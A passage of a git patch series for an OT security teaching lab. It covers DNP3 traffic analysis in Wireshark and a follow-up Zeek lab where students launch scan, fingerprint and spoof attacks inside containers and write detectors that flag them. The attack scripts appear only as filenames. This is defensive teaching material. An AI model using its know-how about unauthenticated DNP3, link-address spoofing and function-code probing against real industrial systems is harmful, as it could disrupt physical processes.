Class | What it carries | -|------:|---------------|--------------------------------------------------| -| 1 | Binary Input | On/off status points (e.g. breaker open/closed). | -| 2 | Binary Input Event | Time-tagged changes of Binary Input points. | -| 10 | Binary Output | Output coil status. | -| 12 | Binary Command| Control commands for binary outputs. | -| 30 | Analog Input | Measured analog values (voltage, current, …). | -| 32 | Analog Input Event | Time-tagged changes of Analog Input points. | -| 41 | Analog Output | Output analog command points. | -| 50 | Time and Date | Used for time sync. | +| Group | Class | What it carries | +|------:|--------------------|--------------------------------------------------| +| 1 | Binary Input | On/off status points (e.g. breaker open/closed). | +| 2 | Binary Input Event | Time-tagged changes of Binary Input points. | +| 10 | Binary Output | Output coil status. | +| 12 | Binary Command | Control commands for binary outputs. | +| 30 | Analog Input | Measured analog values (voltage, current, …). | +| 32 | Analog Input Event | Time-tagged changes of Analog Input points. | +| 41 | Analog Output | Output analog command points. | +| 50 | Time and Date | Used for time sync. | A *variation* selects the encoding: e.g. Group 30 var 1 = 32-bit int with flags, var 2 = 16-bit int with flags, var 5 = 32-bit float, var 6 = 64-bit float. Wireshark shows the variation as part of the object header. @@ -133,7 +133,7 @@ A *variation* selects the encoding: e.g. Group 30 var 1 = 32-bit int with flags, | Only requests with a given function code | `dnp3.al.func == ` (e.g. `dnp3.al.func == 1`) | | Filter on the data-link source address | `dnp3.src == ` | | Filter on the data-link destination address | `dnp3.dst == ` | -| Show only frames carrying objects of a group | `dnp3.al.obj == ` * | +| Show only frames carrying objects of a group | `dnp3.al.obj == ` * | \* Wireshark expresses Group/Variation as a single integer (Group × 256 + Variation). When in doubt, click the field in Packet Details — Wireshark shows the exact filter expression at the bottom of the window. @@ -141,14 +141,14 @@ A *variation* selects the encoding: e.g. Group 30 var 1 = 32-bit int with flags, ## 🧭 Useful Wireshark navigation -| What you want | How | -|----------------------------------------------------------|------------------------------------------------------------------| -| Inspect raw bytes of a frame | Bottom pane (**Packet Bytes**). Click a field to highlight bytes. | -| See the symbolic name of any DNP3 field | Click the field in **Packet Details**; the filter expression appears at the bottom-left status bar. | -| Measure time between filtered packets | **View → Time Display Format → Seconds Since Previous Displayed Packet**. | -| Visualise periodicity | **Statistics → I/O Graph**, with your filter and a 1 s interval. | -| Follow a TCP conversation as bytes | Right-click a packet → **Follow → TCP Stream**. | -| Export a single PDU as bytes | Right-click in Packet Bytes → **Copy → … as Hex Stream**. | +| What you want | How | +|----------------------------------------------------------|----------------------------------------------------------------------------------| +| Inspect raw bytes of a frame | Bottom pane (**Packet Bytes**). Click a field to highlight bytes. | +| See the symbolic name of any DNP3 fiel | **Packet Details**; the filter expression appears at the bottom-left status bar.| +| Measure time between filtered packets | **View → Time Display Format → Seconds Since Previous Displayed Packet**. | +| Visualise periodicity | **Statistics → I/O Graph**, with your filter and a 1 s interval. | +| Follow a TCP conversation as bytes | Right-click a packet → **Follow → TCP Stream**. | +| Export a single PDU as bytes | Right-click in Packet Bytes → **Copy → … as Hex Stream**. | --- diff --git a/OTLab14/OTLab14.md b/OTLab14/OTLab14.md index ebcd8c3..4061823 100644 --- a/OTLab14/OTLab14.md +++ b/OTLab14/OTLab14.md @@ -1,12 +1,26 @@ # DNP3 & Wireshark Lab +![](https://raw.githubusercontent.com/substationworm/OTLab/main/OTLab-SecondHeader.png "DNP3 & Wireshark Lab") + +[![Curriculum Lattes](https://img.shields.io/badge/Lattes-white)](http://lattes.cnpq.br/8846358506427099) +[![ORCID](https://img.shields.io/badge/ORCID-grey)](https://orcid.org/0000-0002-6254-7306) +[![SciProfiles](https://img.shields.io/badge/SciProfiles-black)](https://sciprofiles.com/profile/lffreitas-gutierres) +[![Scopus](https://img.shields.io/badge/Scopus-white)](https://www.scopus.com/authid/detail.uri?authorId=57195542368) +[![Web of Science](https://img.shields.io/badge/ResearcherID-grey)](https://www.webofscience.com/wos/author/record/Q-8444-2016) +[![substationworm](https://img.shields.io/badge/substationworm-black)](https://github.com/substationworm) +[![LFFreitasGutierres](https://img.shields.io/badge/LFFreitasGutierres-white)](https://github.com/LFFreitas-Gutierres) + +[![GitHub fariasrafael10](https://img.shields.io/badge/GitHub-fariasrafael10-black)](https://github.com/fariasrafael10) +[![LinkedIn Farias Rafael](https://img.shields.io/badge/LinkedIn-Farias_Rafael-blue)](https://www.linkedin.com/in/farias-rafael/) +[![IPLeiria ESTG-DEI](https://img.shields.io/badge/IPLeiria-ESTG--DEI-green)](https://www.ipleiria.pt/estg-dei/) + ## Scenario A small electric utility runs a remote substation that publishes telemetry over **DNP3** to a control center located in the corporate network. You — the student — sit at the **engineering workstation (EWS/otlab-student)**, which is dual-homed between the (`OT segment`) and the (`corporate`) segment and forwards traffic between them. Your job in this lab is to **understand how DNP3 carries the conversation** between the master and the outstation: where each host sits, what the protocol exchanges look like on the wire, which data points are being polled, and what the protocol does *not* do (spoiler: confidentiality and authentication). -This is the first lab in a three-part story. Lab 2 will introduce anomalous traffic on the same topology, which you will detect with Zeek. Lab 3 will walk through the incident-response steps triggered by what Lab 2 surfaces. Each lab can be taken by itself, but we highly recommend completing them in order to gain a broader, more holistic understanding of how these topics connect. +This is the first lab in a three-part story. OTLab15 will introduce anomalous traffic on the same topology, which you will detect with Zeek. OTLab16 will walk through the incident-response steps triggered by what OTLab15 surfaces. > [!NOTE] > While analysing the captured traffic, refer to `DNP3WiresharkReference.md` for the Wireshark dissector field names, the DNP3 frame layout, the function code table, and useful display filters. It is meant as a lookup card — keep it open in another tab. @@ -44,11 +58,22 @@ Hint: {xxx.xxx.x0.xxx} and {xxx.xxx.x1.xxx} - [ ] Inspect the bytes of any single DNP3 application message and answer: *Is any field encrypted? Is the master authenticated? What would an attacker learn — or change — by intercepting this traffic?* -- [ ] Briefly document your findings (one paragraph) describing the protocol behavior and the security properties (or lack thereof) you observed. **This document is the input for Lab 2.** +- [ ] Briefly document your findings (one paragraph) describing the protocol behavior and the security properties (or lack thereof) you observed. **This document is the input for OTLab15.** > [!NOTE] -> The outstation simulates a feeder breaker: it publishes a voltage reading in the 110–130 V range and a current reading in the 0.5–15 A range every 5 seconds, and toggles a `BreakerOpen` flag every 20 updates (≈100 s). The master polls every 10 seconds. Knowing the *expected* baseline of this lab — including the value ranges — is what will let you map the DNP3 indices to the right variables and spot anomalies in Lab 2. +> The outstation simulates a feeder breaker: it publishes a voltage reading in the 110–130 V range and a current reading in the 0.5–15 A range every 5 seconds, and toggles a `BreakerOpen` flag every 20 updates (≈100 s). The master polls every 10 seconds. Knowing the *expected* baseline of this lab — including the value ranges — is what will let you map the DNP3 indices to the right variables and spot anomalies in OTLab15. + +## 🎯 Skills + +**Hands-on:** Network Reconnaissance · Packet Capture (Wireshark) · DNP3 Protocol Dissection · OT/ICS Security Analysis + +**Mapped to [MITRE ATT&CK for ICS](https://attack.mitre.org/matrices/ics/):** + +[![T0846 Remote System Discovery](https://img.shields.io/badge/ATT%26CK_ICS-T0846_Remote_System_Discovery-red)](https://attack.mitre.org/techniques/T0846/) +[![T0840 Network Connection Enumeration](https://img.shields.io/badge/ATT%26CK_ICS-T0840_Network_Connection_Enumeration-red)](https://attack.mitre.org/techniques/T0840/) +[![T0842 Network Sniffing](https://img.shields.io/badge/ATT%26CK_ICS-T0842_Network_Sniffing-red)](https://attack.mitre.org/techniques/T0842/) +[![T0861 Point & Tag Identification](https://img.shields.io/badge/ATT%26CK_ICS-T0861_Point_%26_Tag_Identification-red)](https://attack.mitre.org/techniques/T0861/) ## 🔖 Nomenclature diff --git a/OTLab14/OTLab14.sh b/OTLab14/OTLab14.sh index 15355e0..18e1a63 100755 --- a/OTLab14/OTLab14.sh +++ b/OTLab14/OTLab14.sh @@ -7,20 +7,14 @@ ot_container_name01="dnp3-outstation" ot_container_name02="dnp3-master" ews_container_name="otlab-student" -# DNP3 outstation/master stay CLI — no GUI needed there ubuntu_image="ubuntu:22.04" kali_image="kalilinux/kali-rolling" -# Student container is now a full desktop with noVNC web access. -# linuxserver/webtop ships an Ubuntu+XFCE desktop reachable at http://:3000 -# linuxserver/kali-linux ships a Kali rolling desktop reachable the same way ews_ubuntu_image="lscr.io/linuxserver/webtop:ubuntu-xfce" ews_kali_image="lscr.io/linuxserver/kali-linux:latest" -# Tools installed on first boot inside the student desktop ews_install_packages="iputils-ping|nmap|net-tools|tcpdump|tshark|wireshark|iproute2|procps|iptables|sudo" -# Host port for the noVNC web UI (container always exposes 3000 internally) ews_web_port="3000" lab_net01="dnp3-ot-net" From 9fc16589dc9b2be5210378724d5cfe5f16008c9d Mon Sep 17 00:00:00 2001 From: fariasrafael10 Date: Fri, 5 Jun 2026 17:53:23 +0100 Subject: [PATCH 06/11] Remove .gitignore from repo (committed by mistake) The .gitignore was not intended for this fork. Local-only ignore of *.bak now lives in .git/info/exclude, which is never versioned. Co-Authored-By: Claude Opus 4.8 --- .gitignore | 1 - 1 file changed, 1 deletion(-) delete mode 100644 .gitignore diff --git a/.gitignore b/.gitignore deleted file mode 100644 index 751553b..0000000 --- a/.gitignore +++ /dev/null @@ -1 +0,0 @@ -*.bak From 58a6cca431107456a3b4d0a75d650ed5f995c7a3 Mon Sep 17 00:00:00 2001 From: fariasrafael10 Date: Fri, 5 Jun 2026 18:21:27 +0100 Subject: [PATCH 07/11] Add OTLab15: DNP3 + Zeek detection lab (scripts and tasks) --- OTLab15/DNP3LabZeekReference.md | 222 ++++++++ OTLab15/OTLab15.md | 176 +++++++ OTLab15/OTLab15.sh | 482 ++++++++++++++++++ OTLab15/scripts/attacks/_dnp3.py | 140 +++++ OTLab15/scripts/attacks/attack_fingerprint.py | 66 +++ OTLab15/scripts/attacks/attack_scan.sh | 24 + OTLab15/scripts/attacks/attack_spoof.py | 35 ++ OTLab15/scripts/solutions/baseline.zeek | 20 + .../detectors/link-vs-ip-mismatch.zeek | 19 + .../detectors/unexpected-function-code.zeek | 22 + .../solutions/detectors/unknown-endpoint.zeek | 35 ++ OTLab15/scripts/solutions/local.zeek | 11 + OTLab15/scripts/zeek/baseline.zeek | 31 ++ .../zeek/detectors/link-vs-ip-mismatch.zeek | 21 + .../detectors/unexpected-function-code.zeek | 24 + .../zeek/detectors/unknown-endpoint.zeek | 25 + OTLab15/scripts/zeek/local.zeek | 23 + 17 files changed, 1376 insertions(+) create mode 100644 OTLab15/DNP3LabZeekReference.md create mode 100644 OTLab15/OTLab15.md create mode 100755 OTLab15/OTLab15.sh create mode 100755 OTLab15/scripts/attacks/_dnp3.py create mode 100644 OTLab15/scripts/attacks/attack_fingerprint.py create mode 100755 OTLab15/scripts/attacks/attack_scan.sh create mode 100755 OTLab15/scripts/attacks/attack_spoof.py create mode 100644 OTLab15/scripts/solutions/baseline.zeek create mode 100644 OTLab15/scripts/solutions/detectors/link-vs-ip-mismatch.zeek create mode 100644 OTLab15/scripts/solutions/detectors/unexpected-function-code.zeek create mode 100644 OTLab15/scripts/solutions/detectors/unknown-endpoint.zeek create mode 100644 OTLab15/scripts/solutions/local.zeek create mode 100644 OTLab15/scripts/zeek/baseline.zeek create mode 100644 OTLab15/scripts/zeek/detectors/link-vs-ip-mismatch.zeek create mode 100644 OTLab15/scripts/zeek/detectors/unexpected-function-code.zeek create mode 100644 OTLab15/scripts/zeek/detectors/unknown-endpoint.zeek create mode 100644 OTLab15/scripts/zeek/local.zeek diff --git a/OTLab15/DNP3LabZeekReference.md b/OTLab15/DNP3LabZeekReference.md new file mode 100644 index 0000000..7b172c5 --- /dev/null +++ b/OTLab15/DNP3LabZeekReference.md @@ -0,0 +1,222 @@ +# DNP3 Lab — Zeek Reference + +## 1. What this document is + +Three things, in order of how often you'll reach for each: + +1. **Zeek essentials** (§2) — the minimum vocabulary you need to read the events firing in `dnp3.log` and write the detectors `local.zeek` is wired to load. +2. **One fully worked detector** (§3) — `unknown-endpoint.zeek` from end to end, with every non-obvious line annotated. Use as the template for your own. +3. **Pattern sketches** (§4) — for the remaining core detectors (`unexpected-function-code.zeek`, `link-vs-ip-mismatch.zeek`), the Zeek event surface to hook plus the key idiom, with the actual handler body left for you to fill. + +## 2. Zeek essentials for OTLab15 + +### 2.1 The event-driven execution model + +Zeek scripts are **event handlers**. You don't write a `main`; you write functions that fire when Zeek's protocol analysers parse something out of the packet stream. The DNP3 events you will meet in this lab are: + +| Event | Fires when | +| ------------------------------------------------------------------------------ | --------------------------------------------------------- | +| `new_connection(c)` | Zeek sees the first packet of any new TCP/UDP flow | +| `dnp3_application_request_header(c, is_orig, application, fc)` | DNP3 analyser parses a request header | +| `dnp3_application_response_header(c, is_orig, application, fc, iin)` | DNP3 analyser parses a response header | +| `dnp3_header_block(c, is_orig, len, ctrl, dest_addr, src_addr)` | Every DNP3 link-layer header — exposes the link addresses | + +Every one of them carries a `c: connection` as the first parameter — see §2.2. Multiple handlers may subscribe to the same event; Zeek runs them all in registration order. Order is rarely something you need to care about. + +### 2.2 The `connection` record + +Most fields you'll touch live under `c$id`: + +```zeek +c$id$orig_h # addr — IP that opened the TCP connection +c$id$resp_h # addr — IP that answered +c$id$orig_p # port — source port (e.g., 54321/tcp) +c$id$resp_p # port — destination port (e.g., 20000/tcp) +c$uid # string — unique connection id, used across all logs +``` + +Note the dollar-sign accessor: Zeek records are `c$field`, not `c.field`. + +`c$id$resp_p == 20000/tcp` is how you check the destination port is DNP3. The literal `20000/tcp` is a `port` value, not an integer — Zeek's type system tags ports with their transport so `20000/tcp != 20000/udp`. + +### 2.3 Sets, tables, and the `in` / `!in` operators + +The whole baseline-allowlist machinery rests on two collection types: + +```zeek +# A set of addresses (no duplicates, no ordering). +const expected_endpoints: set[addr] = { 192.168.20.10, 192.168.21.20 } &redef; + +# A table mapping link address → expected IP. +const link_addr_to_ip: table[count] of addr = { + [1] = 192.168.20.10, + [2] = 192.168.21.20, +} &redef; +``` + +Membership tests are infix: + +```zeek +if ( my_ip !in expected_endpoints ) { ... } # IP not in the allowlist +if ( link_addr in link_addr_to_ip ) { ... } # link addr is known +``` + +Table lookup is `t[k]`, identical to most languages. `&redef` makes the constant overridable from another script (handy when `local.zeek` decides to widen the allowlist for a specific run without editing `baseline.zeek`). + +### 2.4 Modules and namespacing + +Every detector in this lab belongs to either `DNP3Baseline` (the allowlists in `baseline.zeek`) or `DNP3Anomaly` (the notices the detectors raise). To put a declaration in a module, start the file with `module X;`: + +```zeek +module DNP3Anomaly; + +export { + # exported declarations — visible as DNP3Anomaly::Foo from outside +} +``` + +References across modules use `Module::name`: + +```zeek +if ( c$id$orig_h !in DNP3Baseline::expected_endpoints ) { ... } +``` + +Why one shared `DNP3Anomaly` module across three detectors instead of three separate modules? Because all the notices belong to one logical family — the namespace `DNP3Anomaly::Unknown_Endpoint`, `DNP3Anomaly::Unexpected_Function_Code`, ... reads better in `notice.log` than `UnknownEndpoint::Note`, `UnexpectedFC::Note`, ... + +### 2.5 The Notice framework + +Raising an alert is one function call: + +```zeek +NOTICE([$note = DNP3Anomaly::Unknown_Endpoint, + $msg = "DNP3 endpoint outside expected set", + $conn = c]); +``` + +Key conventions: + +- `$note` — an enum value you declared with `redef enum Notice::Type += { Foo };` inside an `export {}` block. +- `$msg` — free-form human-readable string. Use `fmt(...)` for formatting (like `printf`); `%s` works for both `addr` and `string`, `%d` for `count`. +- `$conn = c` — passes the whole connection in. The Notice framework then auto-fills `id.orig_h`, `id.resp_h`, `uid`, and the timestamp in `notice.log`. Without `$conn`, you would have to set `$src` and `$dst` by hand. + +Suppression is automatic: Zeek's default is to silence duplicate notices (same `note`, same `src`, same `dst`) for one hour. A `scan` attack with 1024 SYNs from one IP produces exactly one `Unknown_Endpoint` notice, not 1024. You almost never need to override this. + +## 3. Worked example — `unknown-endpoint.zeek` + +The full file: + +```zeek +##! Notice when a DNP3 conversation involves an endpoint outside +##! DNP3Baseline::expected_endpoints. +##! +##! References: +##! - DNP3 events: https://docs.zeek.org/en/master/scripts/base/bif/plugins/Zeek_DNP3.events.bif.zeek.html +##! - Notice framework: https://docs.zeek.org/en/master/frameworks/notice.html + +@load ../baseline.zeek + +module DNP3Anomaly; + +export { + redef enum Notice::Type += { + ## A DNP3 request or response was seen with an endpoint not in + ## DNP3Baseline::expected_endpoints. + Unknown_Endpoint, + }; +} + +# Shared check. c$id$orig_h is the IP that opened the TCP connection; +# c$id$resp_h is the side that answered. Either being outside the allowlist +# is enough to flag the whole flow. `kind` is just the word ("request" / +# "response") that ends up in the notice, so request and response can share +# one body instead of two near-identical copies. +function check_endpoints(c: connection, kind: string, fc: count) + { + local o = c$id$orig_h; + local r = c$id$resp_h; + + if ( o !in DNP3Baseline::expected_endpoints || + r !in DNP3Baseline::expected_endpoints ) + NOTICE([$note = Unknown_Endpoint, + $msg = fmt("DNP3 %s on flow %s -> %s (fc=%d): endpoint outside expected set", + kind, o, r, fc), + $conn = c]); + } + +# Request side. +event dnp3_application_request_header(c: connection, is_orig: bool, + application: count, fc: count) + { + check_endpoints(c, "request", fc); + } + +# Response side — same check, different event. We must cover both because the +# DNP3 spec lets the outstation publish unsolicited responses; a spoofed one +# would otherwise slip through. +event dnp3_application_response_header(c: connection, is_orig: bool, + application: count, fc: count, iin: count) + { + check_endpoints(c, "response", fc); + } +``` + +### Walkthrough — the four lines that matter + +1. **`@load ../baseline.zeek`** — pulls in the allowlist constants. Without this, `DNP3Baseline::expected_endpoints` is unresolved and Zeek refuses to start. +2. **`module DNP3Anomaly; export { redef enum Notice::Type += { ... } }`** — adds a new value to the global `Notice::Type` enum. The `export` block is necessary for the enum value to be visible outside the module (so `notice.log` can label rows with it). +3. **`o !in DNP3Baseline::expected_endpoints || r !in ...`** — set-membership check. Either side outside is enough to flag the conversation. Using `local` bindings (`o`, `r`) avoids repeating `c$id$orig_h` and makes the `fmt` arguments shorter. +4. **`function check_endpoints(c, kind, fc)`** — the request and response events carry the *same* check, so the body lives in one helper and each handler is a single call. `kind` is the only thing that differs (the word in the notice), passed in as a `string`. One place to fix if the rule changes — no copy to drift out of sync. +5. **`NOTICE([$note=..., $msg=..., $conn=c])`** — record-literal construction passed to a function. `$conn=c` is the auto-fill trick from §2.5. + +### Stretch — catching `scan` before any DNP3 PDU is parsed + +The `scan` attack rains TCP SYNs on port 20000. The handshake never completes, so no `dnp3_application_request_header` ever fires — and the detector above stays silent during pure scanning. To catch those, subscribe to `new_connection` and flag any flow with `c$id$resp_p == 20000/tcp` whose `orig_h` is outside the allowlist. Two events, one detector, full coverage. Left as exercise. + +## 4. Pattern sketches for the other core cycles + +### 4.1 `unexpected-function-code.zeek` (fingerprint cycle) + +**Event surface.** Same two events as §3: `dnp3_application_request_header` exposes `fc: count` directly; `dnp3_application_response_header` does too. + +**Where the pattern bites.** `fc_request` in `dnp3.log` is the textual name (`READ`, `RESPONSE`, ...). `fc` in the event is the numeric code. Your allowlist must use the numbers (0x01, 0x81, 0x00, 0x82) — see the hint in `baseline.zeek`. + +**Edge case.** Zeek's binpac parser may skip the request event for unassigned function codes. The response side still fires with an `iin` error reply — that's your fallback signal. See the hint in OTLab15.md task 2.2. + +### 4.2 `link-vs-ip-mismatch.zeek` (spoof cycle) + +**Event surface.** `dnp3_header_block` — Zeek surfaces the DNP3 link-layer source and destination addresses, which never appear in `dnp3.log`. This is the only way to cross-check the link-layer identity against the IP carrying the frame. + +**Why the `is_orig` branch matters.** A DNP3 frame can come from either side of the TCP connection. `is_orig=T` means the originator sent the frame, so the link source maps to `c$id$orig_h`. `is_orig=F` flips it. Skipping this branch produces false positives on every legitimate response. + +## 5. `zeek-cut` and JSON recipes + +`zeek-cut` extracts named columns from Zeek's default TSV logs. The `-d` flag rewrites `ts` from epoch to ISO 8601. Pipe to `column -t -s $'\t'` for aligned output. + +```bash +# notice.log — the detector outputs +zeek-cut -d ts note src dst msg < notice.log | column -t -s $'\t' + +# conn.log — every flow Zeek saw, with the DPD service name +zeek-cut -d ts uid id.orig_h id.resp_h id.resp_p proto service conn_state < conn.log + +# dnp3.log — DNP3 function codes on the wire +zeek-cut -d ts uid id.orig_h id.resp_h fc_request fc_reply < dnp3.log + +# Unique note types fired in a run (sanity check) +zeek-cut note < notice.log | sort -u +``` + +If you prefer JSON, restart Zeek with the JSON LogAscii flag and use `jq`: + +```bash +zeek -C LogAscii::use_json=T -i eth1 /opt/zeek-lab/local.zeek +jq -c '{ts, note, src, dst, msg}' < notice.log +``` + +## 6. Official Zeek docs + +- [conn.log](https://docs.zeek.org/en/master/logs/conn.html) — fields and connection states +- [dnp3.log fields](https://docs.zeek.org/en/master/scripts/base/protocols/dnp3/main.zeek.html) — `DNP3::Info` record definition +- [DNP3 events](https://docs.zeek.org/en/master/scripts/base/bif/plugins/Zeek_DNP3.events.bif.zeek.html) — every `dnp3_*` event signature +- [Notice framework](https://docs.zeek.org/en/master/frameworks/notice.html) — `Notice::Info`, `Notice::policy`, suppression +- [Scripting language reference](https://docs.zeek.org/en/master/script-reference/index.html) — types, operators, records, `&redef` diff --git a/OTLab15/OTLab15.md b/OTLab15/OTLab15.md new file mode 100644 index 0000000..53168e6 --- /dev/null +++ b/OTLab15/OTLab15.md @@ -0,0 +1,176 @@ +# OTLab15 — DNP3 + Zeek Detection Lab + +![](https://raw.githubusercontent.com/substationworm/OTLab/main/OTLab-SecondHeader.png "OTLab15 — DNP3 + Zeek Detection Lab") + +[![Curriculum Lattes](https://img.shields.io/badge/Lattes-white)](http://lattes.cnpq.br/8846358506427099) +[![ORCID](https://img.shields.io/badge/ORCID-grey)](https://orcid.org/0000-0002-6254-7306) +[![SciProfiles](https://img.shields.io/badge/SciProfiles-black)](https://sciprofiles.com/profile/lffreitas-gutierres) +[![Scopus](https://img.shields.io/badge/Scopus-white)](https://www.scopus.com/authid/detail.uri?authorId=57195542368) +[![Web of Science](https://img.shields.io/badge/ResearcherID-grey)](https://www.webofscience.com/wos/author/record/Q-8444-2016) +[![substationworm](https://img.shields.io/badge/substationworm-black)](https://github.com/substationworm) +[![LFFreitasGutierres](https://img.shields.io/badge/LFFreitasGutierres-white)](https://github.com/LFFreitas-Gutierres) + +[![GitHub fariasrafael10](https://img.shields.io/badge/GitHub-fariasrafael10-black)](https://github.com/fariasrafael10) +[![LinkedIn Farias Rafael](https://img.shields.io/badge/LinkedIn-Farias_Rafael-blue)](https://www.linkedin.com/in/farias-rafael/) +[![IPLeiria ESTG-DEI](https://img.shields.io/badge/IPLeiria-ESTG--DEI-green)](https://www.ipleiria.pt/estg-dei/) + +## Scenario + +The same small utility from OTLab14 is now worried. After your Wireshark write-up showed that DNP3 carries no authentication, no encryption, and a stable, predictable conversation pattern, the company asks the obvious follow-up: **if anything unusual happened on this wire, would we even notice?** + +The question is not academic. Last Tuesday, **Maria from the Finance department** picked up a USB stick she found in the visitor parking lot and — meaning no harm — plugged it into her workstation to see who it belonged to. The malware on it phoned home and parked itself on her PC. From there it has a clean line of sight to the corporate segment, and this segment shares a host with the OT engineering workstation. Nobody noticed. + +You — still at the **(`otlab-student`)** dual-homed between OT and corporate — will introduce **Zeek**, a network security monitoring tool, into the same topology. Your job is *not* to write signature rules for known attacks. It is to translate the **baseline you documented in OTLab14** into a small set of allowlists, let Zeek tell you whenever the wire deviates from that baseline, and learn — by trying them — what kinds of OT-adversary behaviour those deviations actually look like. + +From the compromised host you will fire controlled attack scenarios 'for' actor; and from inside the otlab-student you will catch them with Zeek scripts you write yourself. + +> [!NOTE] +> **OTLab14 deliverable is the input here.** Keep your OTLab14 findings open: the expected endpoints, function codes, and link-layer addresses you documented there are exactly what you will encode as Zeek allowlists. + +> [!NOTE] +> Refer to `DNP3WiresharkReference.md` for DNP3 frame layout and function-code tables as before. For Zeek-specific events, log fields, and `zeek-cut` recipes, see the companion `DNP3LabZeekReference.md` in this lab's directory. + +## 📝 Tasks + +> [!WARNING] +> All tasks are conducted inside the lab containers. **Do not run any attack scenario, scanner, or capture against hosts outside this lab.** The attack scripts under `scripts/attacks/` emit real, valid DNP3 PDUs; pointed at production gear they can disrupt real industrial processes. + +### Phase 0 — Orientation + +- [ ] Bring the lab up with `./OTLab15.sh -start` and confirm all **four** containers are running with `./OTLab15.sh -status`. Identify which container plays each role. + - *Hint: outstation, master, otlab-student, and the new role unique to OTLab15 — {xxxxxxxx}.* + +- [ ] Open a shell in the otlab-student with `./OTLab15.sh -run`. Verify your two interfaces and confirm one foot in each subnet (carry the answer from OTLab14). + - *Hint: `{xxxx}` faces the corporate segment and `{xxxx}` faces the OT segment.* + +- [ ] Confirm Zeek is installed inside the otlab-student. Note the version printed — write it down; it matters for the event names you will use later. + - *Hint: `zeek -v` should report version `{x.x.x}` or newer.* + +### Phase 1 — Zeek on the clean baseline + +- [ ] Inside the otlab-student, create a working directory for your captures (e.g. `/root/otlab15/` or under `/opt/zeek-lab/`). Start a Zeek live capture on the **OT-side** interface, let the baseline run for at least 60 seconds (no attacks yet), then stop with Ctrl-C. + - *Hint: `zeek -C -i {xxxx} local` runs Zeek with the default local policy.* + +- [ ] List the log files Zeek produced. For each of the three logs below, follow the link to the official Zeek docs and write one sentence describing what it records. + - [`conn.log`](https://docs.zeek.org/en/master/logs/conn.html) — *what level of detail?* + - [`dnp3.log`](https://docs.zeek.org/en/master/scripts/base/protocols/dnp3/main.zeek.html) — *what fields does it carry that `conn.log` does not?* + - [`notice.log`](https://docs.zeek.org/en/master/frameworks/notice.html) — *present? Why or why not on a clean baseline?* + - *Hint: Zeek defaults to TSV. For a JSON-friendly view that pipes cleanly into `jq`, restart with `zeek -C LogAscii::use_json=T -i {xxxx} local` (e.g. `jq -c '{ts, id, service}' < conn.log`).* + +- [ ] Use `zeek-cut` on the baseline `conn.log` to list every unique pair of `id.orig_h` / `id.resp_h` you saw talking on port `20000/tcp`. Compare against the endpoints you documented in OTLab14 — they must match. + - *Hint: `cat conn.log | zeek-cut id.orig_h id.resp_h service | sort -u`. Filter for service `{xxxx_xxx}`.* + +- [ ] Use `zeek-cut` on the baseline `dnp3.log` to list every unique value of `fc_request` and `fc_reply`. **You will see more function codes than your OTLab14 write-up mentioned** — investigate why before continuing. + - *Hint: in the steady state your OTLab14 documented `{0xXX RxxD}` and `{0xXX RxxxxxxE}`. The two extra ones in the baseline are `{0xXX CxxxxxM}` and `{0xXX UNSOLICITED_xxxxxxxE}` — the outstation publishes events the master did not poll for, and the master acknowledges them.* + +- [ ] Record your **baseline allowlists** as a short note, then open `scripts/zeek/baseline.zeek` and transfer the note into the `&redef` constants. Empty allowlists make every detector in Phase 2 fire on every packet (`!in {}` is always true) — filling them in is what gives Phase 2 a clean signal to compare against. (`link_addr_to_ip` is encoded later, in cycle 2.3.) + - `expected_endpoints` — *the two IPs from OTLab14* + - `expected_func_codes` — *the four codes you just observed.* + +### Phase 2 — The fire-detect cycle + +> [!NOTE] +> Every cycle below shares the same shape: **(a)** fire an attack scenario from the host with `./OTLab15.sh -attack `, **(b)** observe the deviation in raw Zeek logs without your own detection script, **(c)** write a Zeek detector that turns that deviation into a `Notice`, **(d)** replay the attack and verify your detector lit up `notice.log`. Stop the Zeek capture between iterations so each round produces a clean log set. +> + + +#### 2.1 Cycle: `scan` → `unknown-endpoint.zeek` + +- [ ] From a **second terminal on the host** (not inside the otlab-student), fire `./OTLab15.sh -attack scan` while a fresh Zeek live capture is running on the corp-side interface of the ews. + +- [ ] Inspect `conn.log` after the attack. Find the rows that did not exist in the baseline. Document the deviating `id.orig_h`, the destination port, the connection states (`conn_state`), and roughly how many flows you saw. + - *Hint: there will be many flows in states meaning SYNs that never carried application data.* + +- [ ] Write `scripts/zeek/detectors/unknown-endpoint.zeek` that emits a `Notice` whenever a `dnp3_application_request_header` or `dnp3_application_response_header` fires on a connection where `orig_h` or `resp_h` is outside your `expected_endpoints` set. Replay `-attack scan` with your script loaded (`zeek -i /opt/zeek-lab/local.zeek` after `@load`-ing your detector). Confirm `notice.log` shows your alert. + - *Hint: the simplest detector uses the connection events, not `conn.log`. A nice extension: also alert on plain TCP connections to `{xxxxx}/tcp` from an unknown source (catches `scan` even before any DNP3 PDU is sent).* + +#### 2.2 Cycle: `fingerprint` → `unexpected-function-code.zeek` + +- [ ] Fire `./OTLab15.sh -attack fingerprint`. Inspect the new `fc_request` values in `dnp3.log` against your `expected_func_codes` allowlist. + - *Hint: at least one of the new function codes will be `{0xXX DELAY_MEASURE}`. Why is a master measuring round-trip delay unusual once steady-state polling has settled?* + +- [ ] Write `scripts/zeek/detectors/unexpected-function-code.zeek`. Hook `dnp3_application_request_header(c, is_orig, application, fc)` for the request direction and `dnp3_application_response_header(c, is_orig, application, fc, iin)` for responses. Emit a `Notice` when `fc` is outside the allowlist. + +- [ ] Replay `-attack fingerprint`. Note in your write-up which probes fired the detector — and which did **not**, and why. + +#### 2.3 Cycle: `spoof` → `link-vs-ip-mismatch.zeek` + +- [ ] Fire `./OTLab15.sh -attack spoof`. This sends a **single** READ to the outstation — almost nothing visible in `dnp3.log` row count, but the link-layer telltale is there. + +- [ ] Hook `dnp3_header_block(c, is_orig, len, ctrl, dest_addr, src_addr)`. This event surfaces the link-layer source/destination addresses, which `dnp3.log` does not record. From `c$id$orig_h`/`c$id$resp_h` you also know the **IP** that emitted the frame. + - *Hint: the OTLab14 mapping is `link addr {1} ↔ outstation IP` and `link addr {2} ↔ master IP`. Encode that as a `table[count] of addr` in `baseline.zeek`.* + +- [ ] Write `scripts/zeek/detectors/link-vs-ip-mismatch.zeek` that cross-checks the link source address against the expected IP for that link address, picking the right side via `is_orig`. Emit a `Notice` on mismatch. + +- [ ] Replay `-attack spoof` and confirm the detector fires. As a sanity check, re-fire `fingerprint` with this detector loaded — it **also** trips it, because it uses the legitimate master's link source from the attacker's IP. Discuss in one sentence why this overlap is desirable, not a flaw. + +### Phase 3 — Composition and reflection + +- [ ] Inspect `scripts/zeek/local.zeek` — it ships pre-wired to `@load` `baseline.zeek` plus all three 